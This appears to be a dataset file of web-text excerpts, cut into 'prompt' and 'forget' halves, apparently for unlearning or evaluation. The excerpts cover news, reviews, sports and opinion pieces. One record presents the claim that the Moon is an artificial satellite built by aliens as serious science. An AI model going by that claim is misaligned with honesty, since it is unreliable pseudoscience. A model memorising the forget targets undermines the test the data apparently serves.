Sabbath observant would leave their food heating on the stove where it had been covered with a blech (metal sheet), or in the oven in which had been cooked before the onset of Sabbath. Contemporary consumers seek to use their kitchen\u2019s oven to keep food hot for Sabbath consumption, but must be assured that in opening the door to retrieve food, no Sabbath laws will be inadvertently contravened. An example of this would be ovens which are programmed to remove power from their heating element when the door is opened \u2013 use of this oven would not be possible on the Sabbath without making modifications. On weekday holidays (Yom Tov), food may be cooked, but turning the heat on is prohibited.[7] On these festive days the domestic needs of the Sabbath observant consumer may require that their oven be heated over a period of as much as 72 hours to allow for cooking during the festival. In the past, one would simply light a stove or oven before the festival began, and its heat"}
{"prompt": "Albuquerque police have released lapel camera footage that shows an officer shooting at a fleeing suspect. In October 2013, officers were called about an erratic driver who was running drivers off the road and firing a weapon from his vehicle. Officers said the man, Joaquin Ortega, tried to carjack drivers after crashing his own car. The newly-released footage seems to contradict the story that police initially reported. Then-Interim Police Chief Allen Banks would not release more than a single frame of the lapel video after the incident, stating that he wasn\u2019t going to allow the case to be tried in", "forget": "the media. He told reporters, \"I'm going to do things my way.\u201d Banks initially claimed that the single image he released showed that Ortega turned toward Officer Brian Pitzer with a gun. Later, Banks said that Ortega didn\u2019t actually point a gun at Pitzer, but that the officer was justified in shooting at him anyway because the suspect was a \u201cperceived threat.\u201d Here is the video footage of what occurred after officers caught up with Ortega: The video footage shows Ortega outside an auto repair shop. Here is an explanation of the scene: Officer Pitzer yells \"Let me see your hands,\" and refers to Ortega as \"dude\" and \"bro.\" Ortega runs along the front of the building, walks between two cars and then turns to the right to head toward the sidewalk. Pitzer fires twice. Ortega appears to toss a gun over his shoulder while two more shots are fired. Ortega continues to bolt down the sidewalk, his back turned to Pitzer, as the officer fires the remaining shots. Ortega stumbles at the edge of the sidewalk, falls and is handcuffed. He was wounded at least once in the shoulder. The video shows authorities tending to a moaning Ortega as he says, \u201cPlease, please.\u201d Is is not clear how many times Ortega was shot. In November, he was indicted on charges of child abuse, armed robbery, aggravated assault with a deadly weapon and aggravated assault upon a peace officer with a deadly weapon. The court case has been on hold because the officers still haven\u2019t finished their police report \u2013 something which Kari Morrissey, Ortega\u2019s attorney, said is unacceptable: \"Quite frankly, why it takes the department this long to complete a report for an incident like this is inexcusable.\u201d Morrissey said the footage doesn\u2019t show any evidence of Ortega acting"}
{"prompt": "Is the Moon the Creation of Alien Intelligence? Paper published in the eminent Soviet Journal 'SPUTNIK' by Russian scientists Mik... http://humansarefree.com/2016/09/russian-scientists-published-this-paper.html Is the Moon the Creation of Alien Intelligence? AN ARTIFICIAL SPUTNIK OF THE EARTH? OUR HYPOTHESIS: The Moon is an artificial Earth satellite put into orbit around the Earth by some intelligent beings unknown to ourselves. A NOAH'S ARK? A BATTLESHIP THEY COULDN'T TORPEDO? A SPACESHIP COME TO GRIEF? WAITING FOR THE EVIDENCE Although people long ago began to wonder whether the \"canals\" on Mars were the creation of cosmic engineers, for some odd reason it has not occurred", "forget": "to look with the same eyes upon the peculiarities of the lunar landscape much closer at hand.And all the arguments about the possibilities of intelligent life existing on other celestial bodies have been confined to the idea that other civilizations must necessarily live on the surface of a planet, and that the interior as a habitat is out of the question. Abandoning the traditional paths of \"common sense\", we have plunged into what may at first sight seem to be unbridled and irresponsible fantasy.But the more minutely we go into all the information gathered by man about the Moon, the more we are convinced that there is not a single fact to rule out our supposition.Not only that, but many things so far considered to be lunar enigmas are explainable in the light of this new hypothesis.The origin of the Moon is one of the most complicated problems of cosmogony. So far there have been basically three hypotheses under discussion.The Moon was once a part of the Earth and broke away from it. This has now been refuted by the evidence.The Moon was formed independently from the same cloud of dust and gas as the Earth, and immediately became the Earth's natural satellite.But then why is there such a big difference between the specific gravity of the Moon (3.33 grams per cubic centimeter) and that of the Earth (5.5 gr.)?Furthermore, according to the latest information (analysis of samples brought back by the U.S. Apollo astronauts) lunar rock is not of the same composition as the Earth's.The Moon came into being separately, and, moreover, far from the Earth (perhaps even outside the Solar system).This would mean that the moon would not have to be fashioned from the same \"clay\" as our own planet. Sailing through the Universe, the Moon came into"}
{"prompt": "Best Answer: Several things can happen to the clothes. In reality they aren't considered \"clothing\" such as you buy at the store. They are technically costumes, even if it looks like what you find at walmart or American Eagle. After production wraps costumes are stored in case they need re-takes or re-shooting. After the release many times costumes end up in storage. There are large warehouses filled with costumes and clothes used in movies. Important pieces are held for display and publicity, but most end up in storage. Sometimes costume departments for other movies will recycle old costumes, re-making them", "forget": "for a new character. When the warehouses get too full the costumes will be culled, some sent to thrift stores, some will be auctioned off, some will be sent to film museums depending on the importance of the costume and the actor who wore it. Some actors have riders in their contracts that allow them to keep a few special costumes, usually ownership belongs to the production company. Costumes are considered an asset and something that can be sold to raise money for other productions. For television programs all costumes are kept until the show wraps up production, then they are dispersed. When productions shuts down the actors are given first dibs at their favourite props and costumes. Julia Louis Dreyfuss kept her entire Elaine wardrobe from Seinfeld; Jason Alexander kept George's glasses, sneakers, velvet clothes and the Yankees sheets and blankets. The girls from Friends kept many items and auctioned off many others as part of a fundraiser. Important pieces are held for publicity and museums (I imagine Horatio Caine's sunglasses will end up in the Smithsonian, like Seinfeld's puffy shirt) and the rest are auctioned off (important pieces again, think Sex and The City) and the rest sent to thrift stores. Stage costumes are not like real clothes in the materials used and the construction. A 18th century court dress may look authentic on stage, but it can be constructed on modern fabrics with invisible zippers to allow the actor to change quickly between scenes. Stage costumes are they are kept in storage and/or recycled into new costumes. The Stratford Festival in Canada re-uses costumes, laces, trims, shoes, wigs etc. There are a few important costumes that are kept for publicity. Every few years the costume department hold a garage sale of costumes, laces, shoes, and grab bags"}
{"prompt": "Can a dog help to replace a person's failing memory? I recently wrote an article describing some new programs designed to train dogs to assist people with disease and dementia ( click here to see it ). Only a day or two after that article appeared I received a phone call from an academic colleague who protested that dogs simply could not successfully serve in that capacity because they lack a particular form of memory that is needed. My colleague pointed out that Daniel Dennett, a philosopher and scientist from Tufts University has stated unambiguously that he was convinced that", "forget": "dogs have no episodic memory, and this is a viewpoint which is shared by a number of other philosophers and some behavioral scientists. To understand what he meant you must first know that there are many types of memory. Psychologists often start by dividing memory into to large groupings that they call \u201cexplicit\u201d or \u201cimplicit\u201d memory. The easiest way to distinguish these is to note that explicit are the ones that you can describe or call into your mind at will, while implicit memories are automatic and not really conscious. Learned skills are good examples of implicit memories. Thus although you might remember how to ride a bicycle (since you can easily do it) trying to describe to someone else what you have to do to stay upright on a bicycle is virtually impossible. You know what to do, but you can\u2019t make these actions conscious in such a way as to communicate them to others. Explicit memories are memories are the ones which are easily brought into consciousness and which we can describe verbally. When we consider explicit memory it comes in two varieties, namely \u201cepisodic\u201d and \u201csemantic\u201d memory. Episodic memory is memory for what you have personally experienced. When you answer a question about what you had for dinner last night, which clothes you wore yesterday, or you describe your first romantic kiss, you are recalling episodic memories. This is different from semantic memory which involves memory for facts. To answer a question such as \u201cWho was George Washington?\u201d or \u201cWhat is the climate like on the moon?\u201d will involve semantic memory. It is not episodic memory since you never met George Washington, nor have you visited the moon. Some people say that episodic memory is a sort of mental time travel in which you revisit events that"}
{"prompt": "The arcade: the last bastion of loose change. Or so we thought. An old-school arcade, in the retirement capital of New Zealand no less, complete with Pac-Man, pinball and teddy bear claw machines, has started using cryptocurrency. And actually, it's not that cryptic. Gamers at the Arcadia, in Blenheim, just need the bitcoin app on their smartphones. RICKY WILSON/STUFF An arcade in Blenheim is accepting the cyber currency bitcoin. The amount they want is entered into the till, a unique code is scanned with their phone, they hit 'pay' and they're away. READ MORE: * Games arcade proves 'old school'", "forget": "fun still popular * Grand Arcade undergoing 'major' refurbishment to include childcare facility * Redevelopment fears for iconic St Kevin's Arcade Customers are then given tokens to slot into the machines. RICKY WILSON/STUFF Arcadia, in Blenheim, is full of racing games, shoot 'em ups, and pinball machines. It even has an old-school Pac-Man. Arcadia owner David Scoon said it was as \"easy as eftpos\". The only problem is, no-one has actually used it yet. But lots of people were asking about it, Scoon said. Scoon thought the Arcadia was the first company in Blenheim to use bitcoin. Stuff How bitcoin works. He explained the concept as \"a wee bit like shares\", with the value of a bitcoin fluctuating daily. Scoon's son Adam Scoon, the mastermind behind bringing bitcoin to the arcade, said he anticipated everyone would be using bitcoin in the future. \"It is getting more and more attention and more people are learning about it and getting into it which pushes its value up even more, we think that eventually everyone will be using it to pay for everything,\" Adam Scoon said. University of Canterbury senior lecturer of finance Bill Rea said bitcoin was a \"highly secure\" form of transferring money. \"It does offer quite a secure way to do transactions,\" Rea said. It did however require some technology and IT skills, he said. More companies and individuals were starting to pick it up as a form of transaction. \"[But] your corner dairy is probably not going to be using it anytime soon,\" he said. Bitcoin Bitcoin is internet money, which unlike normal money is not controlled by banks or governments. The currency works on a cloud database called the blockchain, which houses all transactions ever made. To use bitcoin you need to download software that lets you access"}
{"prompt": "I called it an ugly looking reference machine. So NVIDIA came back and painted it white. It worked for Apple after all, right? Perhaps eight years ago. As much as I can appreciate beauty, what truly matters here is what\u2019s on the inside and that\u2019s what NVIDIA gave me the opportunity to do over this past week. If you haven\u2019t already seen it, what I\u2019m talking about is NVIDIA\u2019s Ion reference platform. In a nutshell it\u2019s Intel\u2019s Atom processor paired with NVIDIA\u2019s GeForce 9400M chipset. I first brought you news of Ion in the middle of December 2008. It was", "forget": "delivered in the ugly box mentioned above. It seemed cool, it worked, but I only spent a few hours with it and wasn\u2019t able to benchmark it. Our next encounter was at CES. NVIDIA called me up to its hotel room and offered the opportunity to benchmark an overly spec\u2019d Ion box against a standard netbook boasting a much lighter config. That didn\u2019t work out so well. This time NVIDIA shipped me a system, now in white. And I could do whatever I wanted with it. It doesn\u2019t take a visionary to see why Ion would be great. Take a standard Atom system and give it a modern chipset with better graphics and you\u2019ve got Ion. Performance goes up, everyone\u2019s happy. Of course it\u2019s nice to be able to quantify the performance advantage which is what I\u2019ll be doing today, but for all intents and purposes we\u2019ve known that Ion is a good thing. The Need for Ion Currently most Atom based desktops and notebooks use Intel\u2019s 945G chipset. That\u2019s the chipset before G45 and G35 - heck, even before G965 - released back in 2005. It features Intel\u2019s GMA 950 graphics core, hardly high performance even by Intel\u2019s standards. It\u2019s a two chip solution built on a 130nm process and uses ICH7 for all south bridge/IO functions. The problem with 945G is that it\u2019s old, it\u2019s slow, and it takes up a lot of space. The aging 945G only supports DDR2-667 and generally only gets a single channel of memory on most netbooks/notebooks/desktops. The chipset\u2019s performance isn\u2019t terrible but it\u2019s a bit bandwidth constrained. The combination of the Atom CPU, 945 GMCH, and ICH7 chips takes up quite a bit of motherboard real estate. While that\u2019s acceptable on a desktop motherboard, it is a bit cramped in a netbook."}
{"prompt": "If there's one thing fans of HBO's \"True Blood\" know, it's that quick-witted vampire Pam (Kristin Bauer) has been dealt a few harsh blows this past season. First, her one true confidant -- and blood-sucking badass partner-in-crime -- Eric Northman (Alexander Skarsgard) turns into Mr. Nice Guy, and then that evil witch (literally) Marnie (Fiona Shaw) casts a spell that starts to rot Pam's flesh. And if there's anything that Pam loves more than Eric, it's her pretty little face. In Sunday (Sept. 11) night's season four finale, the tension between Pam and her maker Eric reached a humorous boiling", "forget": "point when Pam, ever the dramatic, throws a bona fide vamp temper tantrum at Fangtasia, exclaiming, \"I am so over Sookie and her precious fairy vagina and her stupid name.\" And while Pam's less-than-pleasant sentiments may have echoed the thoughts of millions of viewers, it didn't do much to detour Eric from Sookie's, well, \"precious fairy vagina.\" \"He really is the one rock in her life -- the one person she really loves and would do anything for,\" Bauer told The Huffington Post. \"She would die for Eric. That's it for her. He's her maker. He really is her best friend, her daddy, and they just have such a complicated relationship. And she loves being his lieutenant. She doesn't want to be first-in-command, so when he's not there to be her rock, she doesn't like it. That will definitely come into play when we go into Pam and Eric's pasts next season.\" But as an actress, Bauer points out, fans are just starting to understand Pam and all of her intricacies as a character -- \"part vulnerable, part badass\" -- and season five promises to explore Pam's origins even further. \"I loved seeing a vulnerable side to Pam this season, \" said Bauer. \"As an actor, you want to do something new every year and do something deeper, so it was incredibly fun for me to get to see who she was without Eric because he wasn\u2019t really there for her this season. And then you take away her looks -- her vanity -- and I had no idea how she would react. It\u2019s the same in real life too. When the sh-t hits the fan, you really discover yourself, and the fact that she becomes a warrior made me love her even more. She could have sat there and"}
{"prompt": "In college football, more than probably any other sport, a coaching legend's legacy never goes away. Even if that legend has been gone for a generation or two, a current coach will still live in that shadow. Darrell Royal is the dominant figure in Texas football, and may always be. Mack Brown didn't just accept that fact when he became the Longhorns' coach, he embraced it. In fact, \"embracing\" might be understating Brown's affection for Royal. Scroll to continue with content Ad When Royal passed away, Brown released a statement saying Royal and Royal's wife Edith were among the best", "forget": "friends of he and his wife. He said Royal filled a void in his life after his father died. He called Royal his hero. Brown announced on Twitter that Texas will wear a \"DKR\" helmet decal, and the Longhorns will line up on their first play Saturday in the wishbone formation to honor Royal, who is credited with bringing the wishbone to college football in 1968. It's a perfect and touching tribute from Brown to his late mentor. That will be a wonderful moment at the start of Saturday's game. It's a callback to when the NFL's Redskins lined up with 10 men on the field for their first play against Buffalo to honor safety Sean Taylor, who was killed a few days before the game. Whether Texas scores a touchdown on that first play or loses yards, it won't matter. It will be a great moment. Credit Brown for realizing that. [Related: Mack Brown says the 'horns down' gesture is disrespectful] The tribute Saturday will also be a beautiful way to connect Texas' past and its present, something that Brown obviously values. Here is Brown's full statement about Royal's passing, which is a window into the relationship between the two Texas coaches: Story continues \"Today is a very sad day. I lost a wonderful friend, a mentor, a confidant and my hero. College football lost maybe its best ever and the world lost a great man. I can hardly put in words how much Coach Royal means to me and all that he has done for me and my family. I wouldn't even be at Texas without Coach. His counsel and friendship meant a lot to me before I came to Texas, but it's been my guiding light for my 15 years here. \"Coach gave so much more to"}
{"prompt": "Lest we forget that the left considers the American founding our original sin, a recent string of articles, lawsuits, and so-called \u201cactivism\u201d is taking aim at America\u2019s founding fathers. They were too white, too male, not woke enough, some owned slaves. And anyway, the Constitution is silent on gender fluidity. On June 1, James Madison Memorial High School senior Mya Berry launched a petition to shorten the name of their school -- erasing Madison\u2019s name from it entirely. Apparently, the school\u2019s name made Berry feel \u201cmore than unsafe.\u201d The proposed name-change would, according to Berry, comprise a remedy for several", "forget": "racial affronts she had experienced at Memorial. The school\u2019s name sake, like several founding fathers, owned slaves yet argued for gradual emancipation efforts and \u201cwished to see [slavery] diminished and abolished by peaceable & just means.\u201d Of course, Madison Memorial High is in Madison, Wisconsin. Not sure if Berry\u2019s sense of insecurity extends to her municipality, but Madison is an extremely liberal college town. She should think big. Former Councilman Mario Salas of the San Antonio Coalition of Human and Civil Rights really, really doesn\u2019t like those racist founders. In The San Antonio Observer he dubbed them \u201cancestors of a white supremacist movement.\u201d Salas penned these accusations as a response to his failed efforts to remove the historic monument in San Antonio\u2019s Travis Park that commemorated Confederate war dead. Salas claimed all monuments honoring the deaths of \u201csoldiers that defended slavery\u201d were a mere guise for institutionalized racism: \u201cThese statues represent a long history of oppression.\u201d Fair enough, but Salas seems to think that because he wants to erase history, he\u2019s entitled to make up its replacement. Salas asserted that the Revolutionary War was \u201cas much about anything else. And that \u201cMillions of dollars invested in slavery would be lost if the British won the war.\u201d Then there\u2019s this: \u201cEngland eventually opposed slavery before the U.S. did, and this set off a wave of anger that fueled the 1776 Revolution.\u201d So a wave of anger over something 40 years in the future (Britain would not pass its Slavery Abolition Act until 1833) sent the colonists to the barricades? And this breathtaking idiocy: The third verse of the star spangled banner reads: \u201cNo refuge could save the hireling and slave. From the terror of flight or gloom of the grave. And the star-spangled banner\u2014O! Long may it wave, O\u2019er the land"}
{"prompt": "Corporations And Governments The Real Threats To Free Speech Above Photo: This guy is not actually the biggest threat to free speech in the country, despite the New York Times using him to illustrate an op-ed (11/12/15) on \u201cWho Is Entitled to Be Heard?\u201d Daniel Brenner/NYT. I find this statement in a New York Times oped (11/12/15), coming from Suzanne Nossel, the head of PEN America, to be absolutely stunning: Some of the most potent threats to free speech these days come not from our government or corporations, but from our citizenry. Anyone who can write a sentence like this", "forget": "simply doesn\u2019t know what they\u2019re talking about. Which is fine, but not fine when the person is the head of an organization dedicated to freedom of expression. By \u201cour citizenry,\u201d Nossel is referring to the recent round of free speech wars on college campuses. Now, when these issues of free speech arise on campus, you usually see an explosion of conversation about it: on the campus itself, and in the media. Far from dampening down discussion, the controversy over free speech on campus actually ignites discussion. Everyone has an opinion, everyone voices it. And while I wouldn\u2019t diminish the challenges to free speech that these controversies pose, the notion that they are far more common and threatening than what governments or corporations do is risible. Though given that Nossel is a former State Department flak, perhaps understandable. She is, after all, someone who has said: To advance from a nuanced dissent to a compelling vision, progressive policymakers should turn to the great mainstay of 20th-century US foreign policy: liberal internationalism\u2026should offer assertive leadership \u2014 diplomatic, economic, and not least, military \u2014 to advance a broad array of goals. When there are not just threats but actual abridgments of speech at the workplace\u2014Nossel says \u201ccorporations,\u201d referring I guess to firms\u2019 financial lock on the political process, but as I\u2019ve argued many times, it\u2019s in their capacity as employers that firms really do damage to free speech\u2014there is no such explosion as there is on college campuses. Partially because people like Nossel and the media are completely uninterested in the topic, even when the workplace in question is a university: If Nossel wrote an oped in the New York Times when Columbia prohibited its workers from speaking Spanish, I must have missed it. But more important, there\u2019s no explosion because abridgments of"}
{"prompt": "A man looks as the world's biggest Liquefied Natural Gas (LNG) tanker, Qatari-flagged DUHAIL as she crosses through the Suez Canal April 1, 2008 Japan's JERA Co, the world's biggest buyer of liquefied natural gas, said on Monday it has been informed by Qatargas that there will be no impact on LNG supplies after several Middle East countries cut ties with Qatar. There would be \"no conceivable impact on LNG supplies\" from the rift, JERA said in a statement, adding \"this is also a geopolitical issue in the Middle East and there is a possibility that this could be closely", "forget": "related to the energy market, so we will continue to keep watch on the movements.\" >> WATCH: Saudi Ban pushes Qatar flights to Africa through Europe >> Hacks, Money and Qatari Crisis: How Gulf States Entangled D.C. Think Tanks in Their Fight for Influence >> Qatar Crisis Explained: What Just Happened and Why It Messes Up Trump's Iran and ISIS Plans (And there's an Israeli connection) >> Palestinians confirm: Top Hamas officials have left Qatar at country's request Qatar is the world's biggest exporter of liquefied natural gas, while Japan is the largest importer, taking in about one-third of global shipments. Saudi Arabia, Egypt, the United Arab Emirates and Bahrain severed their ties with Qatar on Monday, accusing it of supporting terrorism. The worst rift in years among some of the most powerful states in the Arab world, came days after a news story, which Qatar claimed was fake, showed Qatar\u2019s ruler Sheikh Tamim Bin-Hamad objecting to the hostile attitude adopted by Gulf States and the U.S. against Iran. Qatar-Iran cooperation In April 2017, Qatar lifted a self-imposed ban on developing the world's biggest natural gas field, which it is shares ownership with Iran, in an attempt to stave off an expected rise in competition. Iranian official blasts Gulf states over Qatar: Cutting ties 'not a way to resolve crisis' | Gulf states' break with Qatar won't affect fight against ISIS, says Tillerson << Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait\u2026 Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close At the time the LNG market was undergoing huge"}
{"prompt": "Costa Rica is known internationally as having the \u2018Pura Vida\u2019 lifestyle and a low level of corruption. Tourists will, unfortunately, notice that all supermarkets have very high prices. Many of the expats will be familiar with the hilariously priced $8 tiny jars of Skippy peanut butter. The fact of the matter is that Costa Rica heavily relies on food imports and the government heavily taxes everything. The local agriculture cannot sustain the rapidly growing population but Costa Rican protectionist laws are stuck in the past. It is not just tasty luxury goods that are taxed, but basic staples are heavily", "forget": "taxed. Rice has tariffs of 35%, beans 30%, and milk at 65% just to name a few. A small group elite families have deep roots within the government that allow them to take advantage of the system. The rice companies that belong to Corporaci\u00f3n Arrocera (Conarroz) are the only entities allowed to import rice duty-free. Since rice is price controlled, these companies can only sell the rice at a maximum price. Imported rice is much lower than local rice, so these companies simply sell the cheap foreign rice at the fixed prices and pocket the rest. Since rice is such an important part of the working class\u2019s diet, this gives Conarroz members a lot of power. It is no secret that foreign investment in Costa Rica has increased the prices dramatically. The unfortunate thing is all construction materials are also heavily taxed. Families that want to construct a simple home on a rural plot of land will have to pay nearly double in comparison to neighboring countries. For working class folk that make $400 a month, they would be lucky to own a shack of corrugated iron. Costa Rica is a country that has had extreme poverty for decades due to the lack of industry. The poverty has relatively remained the same since the 1990\u2019s due to the extremely high cost of living for a developing country. Even Nicaraguans are starting to enjoy a similar standard of living even with earning less than half of the typical Tico. The promised intention of tariffs and price fixing was to take from the rich and give to the poor, but the exact opposite is happening in Costa Rica. Interesting Links: List of Import tariffs. Some of these percentages may shock you. An interesting comparison of the food prices by various foreigners. By"}
{"prompt": "I found him in the players' lounge, slicing cold cuts. His black hair was combed back and run through with grease. Clenched in his teeth was a soggy cigar. White athletic socks were hiked up to his knees above high-tops that appeared thoroughly worked over with shoe polish. ''What do you want me to do, Nick?'' I asked. ''Stay the hell out of the way,'' he answered without looking up. Two players walked over a second later: Nick, I can't find my spring training bag; old man, I need Nike batting gloves, I can't wear Adidas; Nicky, you have four", "forget": "AA batteries? I must have looked as lost as I felt. I felt a tap on my shoulder and was suddenly face to face with the man himself. He had his hand extended toward me. ''Hey, I'm Don Mattingly,'' he said. ''You going to be working with us this year?'' I hadn't thought about my new job in these terms: working with the Yankees, in common pursuit of a common goal. ''Uh, I know who you are, Mr. Mattingly,'' I said, stuttering. ''I'm Matt, the new batboy.'' ''Nice to meet you, Matt,'' he said with a firm handshake. ''Listen,'' he told me, as if I could have done anything else. ''I've got a job for you. I just unpacked my bats from spring training. I don't know if it was the humidity in Florida or the altitude of the flight or what, but they're all coming up short. I need you to get me a bat stretcher.'' I nodded, trying to project competence. Get a bat stretcher. I located Nick digging through a trunk of underwear. ''Nick,'' I told him, ''I need a bat stretcher for Don Mattingly.'' I'd barely gotten the words out before Nick hit me with a barrage of expletives. Spittle hit my cheek. I'd never heard such a tirade before, not even in the movies. I scurried away, and confided in Nick's assistant. ''Don Mattingly asked me to get him a bat stretcher,'' I said, ''and Nick, uh, told me not to bother him.'' He put his hand on my shoulder and smiled. ''Try Tartabull, Matty,'' he said. Danny Tartabull, the Yankees' power-hitting right fielder, was getting dressed on the other side of the clubhouse. He kicked at some baseball spikes at the foot of his locker before turning to face me. ''It's Matt?'' he asked."}
{"prompt": "Earlier today, the Department of Commerce announced new sanctions against Russian products and companies operating in the United States. Previous sanctions only tangentially impacted the import of cheap and reliable firearms from Russia into the United States, but now the Obama administration is specifically targeting the makers of Saiga rifles and shotguns, as well as other companies. From the Executive Order. . . The following entities have been added to OFAC\u2019s SDN List: [\u2026] KALASHNIKOV CONCERN (a.k.a. CONCERN KALASHNIKOV; a.k.a. IZHEVSKIY MASHINOSTROITEL\u2019NYI ZAVOD OAO; f.k.a. IZHMASH R&D CENTER; f.k.a. JSC NPO IZHMASH; f.k.a. NPO IZHMASH OAO; a.k.a. OJSC CONCERN KALASHNIKOV;", "forget": "f.k.a. OJSC IZHMASH; f.k.a. SCIENTIFIC PRODUCTION ASSOCIATION IZHMASH JOINT STOCK COMPANY), 3, Derjabin Pr., Izhevsk, Udmurt Republic 426006, Russia; Registration ID 1111832003018 [UKRAINE2]. So the importation of new Izmash-produced firearms is now banned indefinitely in the United States. But that executive order definitely raises some questions for those currently in possession of a firearm manufactured by the now-sanctioned firearms companies. For example, can a gun dealer sell their existing stock? From the FAQ regarding the legality of items already in the United States: 374. If I own a Kalashnikov product, is that product blocked by sanctions? Am I able to resell a Kalashnikov product at a gun show or other secondary market? If a U.S. person is in possession of a Kalashnikov Concern product that was bought and fully paid for prior to the date of designation (i.e., no payment remains due to Kalashnikov Concern), then that product is not blocked and OFAC sanctions would not prohibit the U.S. person from keeping or selling the product in the secondary market, so long as Kalashnikov Concern has no interest in the transaction. New transactions by U.S. persons with Kalashnikov Concern are prohibited, however, and any property in which Kalashnikov Concern has an interest is blocked pursuant to OFAC\u2019s designation of Kalashnikov Concern on July 16, 2014. If a U.S. person has an inventory of Kalashnikov Concern products in which Kalashnikov Concern has an interest (for example, the products are not fully paid for or are being sold on consignment), we advise that U.S. person to contact OFAC for further guidance on handling of the inventory. [7-16-2014] 375. If I have Kalashnikov products in my inventory, can I sell them? If a U.S. person has an inventory of Kalashnikov Concern products in which Kalashnikov Concern has an interest (for example, the products"}
{"prompt": "0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard Libertarian presidential candidate Bob Barr released a statement today criticizing the bungled police raid of the mayor\u2019s home in Berwyn Heights, Maryland. He said that no knock raids are unconstitutional, and that law enforcement has become arrogant and less accountable. The case Barr is referring to involves a bungled raid on Mayor Cheye Calvo \u2018s home that resulted in the mayor and his mother in law being hand cuffed and his two dogs killed. The mayor had been victimized by drug smugglers, but law enforcement never bothered to take the", "forget": "time to actually investigate and gather the facts. \u201cAbsent exigent circumstances, not present here, so-called no-knock raids are an affront to the Constitution. So is a shoot first, ask questions later philosophy by the police. Yet the Prince George\u2019s police have done this before\u2014last fall they invaded a house at the wrong address and shot the family dog. All Americans are at risk when the police behave this way. Just ask yourself what might happen if a suspicious package is delivered to your home and the cops bust in,\u201d Barr said. His bigger point is that law enforcement needs to be able to do their job while protecting people\u2019s liberties, \u201cBut there is an even larger point. Law enforcement agencies have become more arrogant and less accountable in cases other than those involving drugs. Most people are aware of well-publicized examples like Waco and Ruby Ridge, but similar abuses are common across the country, though they usually receive little or no public notice. We all want police to do their jobs well, but part of doing their job well is respecting the people\u2019s constitutional liberties.\u201d Barr knows what he is talking about. Before serving in the House of Representatives, he was a U.S. attorney, and before that he worked at the CIA. For lack of a better term, I think that some law enforcement agencies have gotten lazy. We see people getting shot or tasered too often without cause, but seems like if some law enforcement officers don\u2019t want to deal with a situation, they skip right to using force. This attitude comes from the top down. It can be traced to the example set by the Bush administration after 9/11. This anything goes attitude needs to stop which is another reason why the neo-cons have to go. If you\u2019re"}
{"prompt": "(Ottawa, November 9, 2015) \u2013 The Ontario Civil Liberties Association (OCLA) denounces the criminal prosecution of Mr. Arthur Topham taking place in Quesnel, BC. Mr. Topham is on trial for charges under the \u201chate speech\u201d provisions of Canada\u2019s Criminal Code (s. 319(2)). The Crown is expected to make its closing statements today. These provisions criminalize belief, opinion, and expression of one\u2019s beliefs and opinions, and are incompatible with the universal principle of free debate in a democracy. No person should ever be subjected to a criminal prosecution without the state having the onus to show actual harm to a person", "forget": "and intent to produce the actual harm, beyond a reasonable doubt. The \u201ccrime\u201d in essence is in the abstract, regarding production of an emotional response \u201cat large\u201d. No actual effect or imminent danger need be demonstrated by the Crown. The Crown will not rely on showing actual harm or intent to harm. Canada\u2019s \u201chate crime\u201d provisions require specific consent from the province\u2019s Attorney General for a prosecution to proceed. This feature makes the state\u2019s decision about whether or not to prosecute alleged \u201chate crimes\u201d particularly susceptible to political influences. In the present political climate in Canada, cases where the expression can negatively impact public opinion about Canada\u2019s diplomatic and military support for US and Israel policy and actions in the Middle East, or where state suppression of targeted expression supports the geopolitical goals of the US and Israel in the Middle East, are among those which are most at risk from being attacked using disproportionate means wielded by the state. In September 2014, the OCLA launched a petition to the Attorney General of BC asking that she retract her consent for the criminal proceedings against Mr. Topham. The petition, which gathered over 1,400 signatures, can be viewed online at the following link: https://www.change.org/p/hon-suzanne-anton-attorney-general-of-bc-jag-minister-gov-bc-ca-hon-suzanne-anton-retract-your-consent-for-the-criminal-proceedings-against-mr-arthur-topham All expression stems from the individual\u2019s experience and perception, and is therefore of value to society, in that it reveals points of view for evaluation. Any individual\u2019s expression of any view is needed content in the struggle for greater democracy and understanding. The OCLA defends Mr. Topham\u2019s expression of his views, along with any other person\u2019s expression of any view. The health of our democracy depends on freedom of speech. The \u201chate speech\u201d provisions of the Criminal Code of Canada are irreconcilable with the International Covenant on Civil and Political Rights, and should be repealed. They are"}
{"prompt": "May 17th, 2017 Wests Tigers five-eighth Mitchell Moses has let the fans down after jumping ship to Parramatta mid-season. (AAP) May 17th, 2017 However, there is light at the end of the tunnel. I am looking at the recruitment announcements over recent weeks since new coach Ivan Cleary was appointed at the club. I can see a new team building already. Before I get to that though, just a quick comment on the transfer of 5/8 Mitchell Moses to the Parramatta Eels this week. This is a disappointing result for all concerned. I don\u2019t buy into the notion that Mitchell", "forget": "should be so distracted by his contract situation that he could not perform for his current employers. There have been plenty of examples over the years where players have signed with rival clubs, sometimes 12 months or more before their current contract expires, yet they have been able to continue playing and giving 100% effort to their current club. I see absolutely no reason, why Mitchell Moses, as a professional sportsperson, should not have been expected, and willing, to fulfil his duties under the current contract for season 2017. Peter Sterling takes aim at Mitchell Moses I feel most sorry for the fans who looked forward to this year with great anticipation. The club plans its season, especially around sponsorship, membership, and marketing, very reliant on the playing roster they have available to them for the 12-month period. There are many of Mitchell Moses\u2019 teammates whose own personal careers and performances would have relied heavily on playing with a player of Mitchell\u2019s talent. All this has now been thrown into disarray because Mitchell wants to head off and start his new contract with another club as soon as possible. If that\u2019s his attitude, then quite frankly the team, and the club, is better off without the distraction. On to the future. New coach Ivan Cleary has been very busy in the marketplace. Already the club has secured the services of experienced, representative-class players like Josh Reynolds, Ben Matulino, Russell Packer and Chris McQueen. My mail is that there will be more announcements this week on another two signings from rival clubs. In some respects, it looks like Cleary is \u201cputting the band back together\u201d with his recruitment of Matulino and Packer. These two big boys were a major part of Cleary\u2019s 2011 Grand Final team at the New Zealand Warriors."}
